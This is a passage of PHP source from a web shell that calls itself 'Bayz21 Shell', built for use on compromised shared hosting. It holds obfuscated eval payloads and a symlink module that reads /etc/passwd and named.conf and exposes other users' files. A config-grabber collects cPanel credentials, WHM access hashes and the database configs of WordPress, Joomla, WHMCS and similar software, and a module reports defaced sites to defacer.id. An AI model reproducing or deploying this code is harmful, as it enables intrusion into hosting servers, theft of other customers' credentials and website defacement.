  717.         eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUhdQtswFH1epf4HcCE1VUzTMvEwdSPG1KK9eaJQe0tOlXrZDkM5yVqTzZn477vOFymMh70QNarjnGbvufbxDSQ5J2eWANMgw+FglmRMEnNXmN/QWZYJdNqk6Q0lJtEFdDiL4xJnzkYcC670DWg8DQ/aVTBRS5NAznoKEgG51uI0CBI5FePY8p0SXI8TXgYqB3jHIhcYrlYXVosPCbd3Pp2eEMnvZDAJdE4bO5zFsr4LJiJaEniUT6KK4ksz5OqtgPq5LPRG4HL7fHR55CaukVQ+Zov5MLwrOaR0w04WsapVsgO9ZMo3EkMwRrBWawreoc4BUh6RP8MBweswB4NyKjKvGfVGBzt4Q1cbHTkQ6kVNbS16Pbn1yVSffOiQAk7CVcyH/BdkZVx5BMCDsEHN6GfkI3I9ZfOj2z2YKxyh1RjTNK+KjGudmjk5nlm6RSrmXaEKzaUjYZarxZfVb1oXq58Xl6vN16urxZK2gSr0ryiNLG92tZWnpJFYdR8U82f7EtOHOEQHQwq97QreRuWu89IU1qPonx2umwtoPD3fuVbnJeo3b/w630Qv+nBCy70sNFELp7nVOiZnONgTnOX4OuMCmFRmozCDftCYgRraj5tIwTyE+0KBfYLbeJHZzRz1OUOfNcRjtgvxpDHt3M7l/E0CsPA7j0vq7Mg0urKBkfdxc1UuIVDfRRTck+4cYiRNYr6JrW6/w3TvdE5ocYKwrfCRgEjwzAYnz3nwullZkjRWGjomZHzyw7UPcyxMgrwDVklFoo8O3qCYPQP/9w4rRgqTv8UWWFXDQlyTN9jk4QB/YZMLpUB7h5vPF8vL9ajugtgobf0L24PqtRS3R0t5UMAEXVt2CEgDaAwjpdlteunYTsEkOdqqjnVHHXvPSpXtqh5pgA2Bvjzkr2ddTZHoP0Fo89csbSxWELZYvwQLyhTdCrvFTvi7/sckdb5ts2KL6v4L'))))));
  718.     } elseif($_GET['do'] == 'loghunter')
  719.     {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}  
  720. elseif($_GET['do'] == 'metu') {
  721.    
  722.  
  723. echo '<form action="?dir=$dir&do=metu" method="post">';
  724.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  725.     echo 'Byee !';
  726.    
  727. }
  728. elseif($_GET['do'] == 'about') {
  729.    
  730.     echo '<center>Bayz21 Shell<hr>Just Shell By Bayz21';
  731.    
  732. }
  733. elseif($_GET['do'] == 'symlink') {
  734. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  735. $d0mains = @file("/etc/named.conf");
  736. ##httaces
  737. if($d0mains){
  738. @mkdir("cox_sym",0777);
  739. @chdir("cox_sym");
  740. @exe("ln -s / root");
  741. $file3 = 'Options Indexes FollowSymLinks
  742. DirectoryIndex jancox.htm
  743. AddType text/plain .php
  744. AddHandler text/plain .php
  745. Satisfy Any';
  746. $fp3 = fopen('.htaccess','w');
  747. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  748. echo "
  749. <table align=center border=1 style='width:60%;border-color:#333333;'>
  750. <tr>
  751. <td align=center><font size=2>S. No.</font></td>
  752. <td align=center><font size=2>Domains</font></td>
  753. <td align=center><font size=2>Users</font></td>
  754. <td align=center><font size=2>Symlink</font></td>
  755. </tr>";
  756. $dcount = 1;
  757. foreach($d0mains as $d0main){
  758. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  759. flush();
  760. if(strlen(trim($domains[1][0])) > 2){
  761. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  762. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  763. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  764. <td>".$user['name']."</td>
  765. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  766. flush();
  767. $dcount++;}}}
  768. echo "</table>";
  769. }else{
  770. $TEST=@file('/etc/passwd');
  771. if ($TEST){
  772. @mkdir("cox_sym",0777);
  773. @chdir("cox_sym");
  774. exe("ln -s / root");
  775. $file3 = 'Options Indexes FollowSymLinks
  776. DirectoryIndex jancox.htm
  777. AddType text/plain .php
  778. AddHandler text/plain .php
  779. Satisfy Any';
  780.  $fp3 = fopen('.htaccess','w');
  781.  $fw3 = fwrite($fp3,$file3);
  782.  @fclose($fp3);
  783.  echo "
  784. <table align=center border=1><tr>
  785. <td align=center><font size=3>S. No.</font></td>
  786. <td align=center><font size=3>Users</font></td>
  787. <td align=center><font size=3>Symlink</font></td></tr>";
  788.  $dcount = 1;
  789.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  790.  while(!feof($file)){
  791.  $s = fgets($file);
  792.  $matches = array();
  793.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  794.  $matches = str_replace("home/","",$matches[1]);
  795.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  796.  continue;
  797.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  798. <td align=center><font class=txt>" . $matches . "</td>";
  799.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  800.  $dcount++;}fclose($file);
  801.  echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  802. Options Indexes FollowSymLinks
  803. DirectoryIndex jancox.htm
  804. AddType text/plain .php
  805. AddHandler text/plain .php
  806. Satisfy Any
  807. ';
  808.  $fp3 = fopen('.htaccess','w');
  809.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  810.  echo "
  811. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  812. <table align=center border=1><tr>
  813. <td align=center><font size=3>ID</font></td>
  814. <td align=center><font size=3>Users</font></td>
  815. <td align=center><font size=3>Symlink</font></td></tr>";
  816.  $temp = "";$val1 = 0;$val2 = 1000;
  817.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  818.  if ($uid)$temp .= join(':',$uid)."\n";}
  819.  echo '<br/>';$temp = trim($temp);$file5 =
  820.  fopen("test.txt","w");
  821.  fputs($file5,$temp);
  822.  fclose($file5);$dcount = 1;$file =
  823.  fopen("test.txt", "r") or exit("Unable to open file!");
  824.  while(!feof($file)){$s = fgets($file);$matches = array();
  825.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  826.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  827.  continue;
  828.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  829. <td align=center><font class=txt>" . $matches . "</td>";
  830.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  831.  $dcount++;}
  832.  fclose($file);
  833.  echo "</table></div></center>";unlink("test.txt");
  834.  } else
  835.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  836.  }
  837.  }    
  838. }
  839. elseif($_GET['do'] == 'defacerid') {
  840. echo "<center><form method='post'>
  841.         <u>Defacer</u>: <br>
  842.         <input type='text' name='hekel' size='50' value'Bayz21'><br>
  843.         <u>Team</u>: <br>
  844.         <input type='text' name='tim' size='50' value='Security Ghost'><br>
  845.         <u>Domains</u>: <br>
  846.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  847.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  848.         </form>";
  849. $site = explode("\r\n", $_POST['sites']);
  850. $go = $_POST['go'];
  851. $hekel = $_POST['hekel'];
  852. $tim = $_POST['tim'];
  853. if($go) {
  854. foreach($site as $sites) {
  855. $zh = $sites;
  856. $form_url = "https://defacer.id/archives/notify";
  857. $data_to_post = array();
  858. $data_to_post['attacker'] = "$hekel";
  859. $data_to_post['team'] = "$tim";
  860. $data_to_post['poc'] = 'SQL Injection';
  861. $data_to_post['url'] = "$zh";
  862. $curl = curl_init();
  863. curl_setopt($curl,CURLOPT_URL, $form_url);
  864. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  865. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  866. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  867. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  868. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/archive/notify/');
  869. $result = curl_exec($curl);
  870. echo $result;
  871. curl_close($curl);
  872. echo "<br>";
  873. }
  874. }
  875. }
  876.  
  877. elseif($_GET['do'] == 'config') {
  878.     if($_POST){
  879.         $passwd = $_POST['passwd'];
  880.         mkdir("cox_config", 0777);
  881.         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  882.         $htc = fopen("cox_config/.htaccess","w");
  883.         fwrite($htc, $isi_htc);
  884.         preg_match_all('/(.*?):x:/', $passwd, $user_config);
  885.         foreach($user_config[1] as $user_cox) {
  886.             $user_config_dir = "/home/$user_cox/public_html/";
  887.             if(is_readable($user_config_dir)) {
  888.                 $grab_config = array(
  889.                                         "/home/$user_cox/.my.cnf" => "cpanel",
  890.                     "/home/$user_cox/.accesshash" => "WHM-accesshash",
  891.                     "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  892.                     "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  893.                     "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  894.                     "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",             
  895.                     "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  896.                     "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  897.                     "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  898.                     "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  899.                     "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  900.                     "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  901.                     "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  902.                     "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",                   
  903.                     "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  904.                     "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  905.                     "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  906.                     "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  907.                     "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  908.                     "/home/$user_cox/public_html/submitticket.php" => "WHMCS",                                     
  909.                     "/home/$user_cox/public_html/configuration.php" => "Joomla",                   
  910.                     "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  911.                     "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  912.                     "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",      
  913.                     "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  914.                     "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  915.                     "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  916.                     "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  917.                     "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  918.                     "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  919.                     "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  920.                     "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  921.                     "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  922.                     "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  923.                     "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  924.                     "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  925.                     "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  926.                     "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  927.                     "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  928.                     "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  929.                     "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  930.                     "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  931.                     "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  932.                     "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  933.                     "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  934.                     "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  935.                     "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  936.                     "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  937.                     "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  938.                     "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  939.                     "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  940.                     "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  941.                     "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  942.                     "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  943.                     "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  944.                     "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  945.                     "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                  
  946.                     "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  947.                     "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  948.                     "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  949.                     "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",     
  950.                     "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  951.                     "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  952.                     "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  953.                     "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  954.                     "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  955.                     "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  956.                     "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  957.                     "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  958.                     "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  959.                     "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  960.                     "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  961.                     "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  962.                     "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  963.                     "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  964.                     "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  965.                     "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  966.                     "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  967.                     "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  968.                     "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  969.                     "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  970.                     "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  971.                     "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  972.                     "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  973.                     "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  974.                     "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  975.                     "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  976.                     "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  977.                     "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  978.                     "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  979.                     "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  980.                     "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  981.                     "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  982.                     "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  983.                                         "/home1/$user_cox/.my.cnf" => "cpanel",
  984.                     "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  985.                     "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  986.                     "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  987.                     "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  988.                     "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  989.                     "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  990.                     "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  991.                     "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  992.                     "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  993.                     "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  994.                     "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  995.                     "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  996.                     "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  997.                     "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  998.                     "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  999.                     "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1000.                     "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1001.                     "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1002.                     "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1003.                     "/home1/$user_cox/public_html/configuration.php" => "Joomla",                  
  1004.                     "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1005.                     "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1006.                     "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1007.                     "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1008.                     "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1009.                     "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1010.                     "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1011.                     "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1012.                     "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1013.                     "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1014.                     "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1015.                     "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1016.                     "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1017.                     "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1018.                     "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1019.                     "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1020.                     "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1021.                     "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1022.                     "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1023.                     "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1024.                     "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1025.                     "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1026.                     "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1027.                     "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1028.                     "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1029.                     "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1030.                     "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1031.                     "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1032.                     "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1033.                     "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1034.                     "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1035.                     "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1036.                     "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1037.                     "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1038.                     "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1039.                     "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1040.                     "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1041.                     "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1042.                     "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1043.                     "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1044.                     "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1045.                     "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1046.                     "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1047.                     "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1048.                     "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1049.                     "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1050.                     "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1051.                     "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1052.                     "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1053.                     "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1054.                     "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1055.                     "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1056.                     "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1057.                     "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1058.                     "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1059.                     "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1060.                     "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1061.                     "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1062.                     "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1063.                     "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1064.                     "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1065.                     "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1066.                     "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1067.                     "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1068.                     "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1069.                     "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1070.                     "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1071.                     "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1072.                     "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1073.                     "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1074.                     "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1075.                     "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1076.                     "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1077.                                         "/home2/$user_cox/.my.cnf" => "cpanel",
  1078.                     "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1079.                     "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1080.                     "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1081.                     "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1082.                     "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1083.                     "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1084.                     "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1085.                     "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1086.                     "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1087.                     "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1088.                     "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1089.                     "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1090.                     "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1091.                     "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1092.                     "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1093.                     "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1094.                     "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1095.                     "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1096.                     "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1097.                     "/home2/$user_cox/public_html/configuration.php" => "Joomla",                  
  1098.                     "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1099.                     "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1100.                     "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1101.                     "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
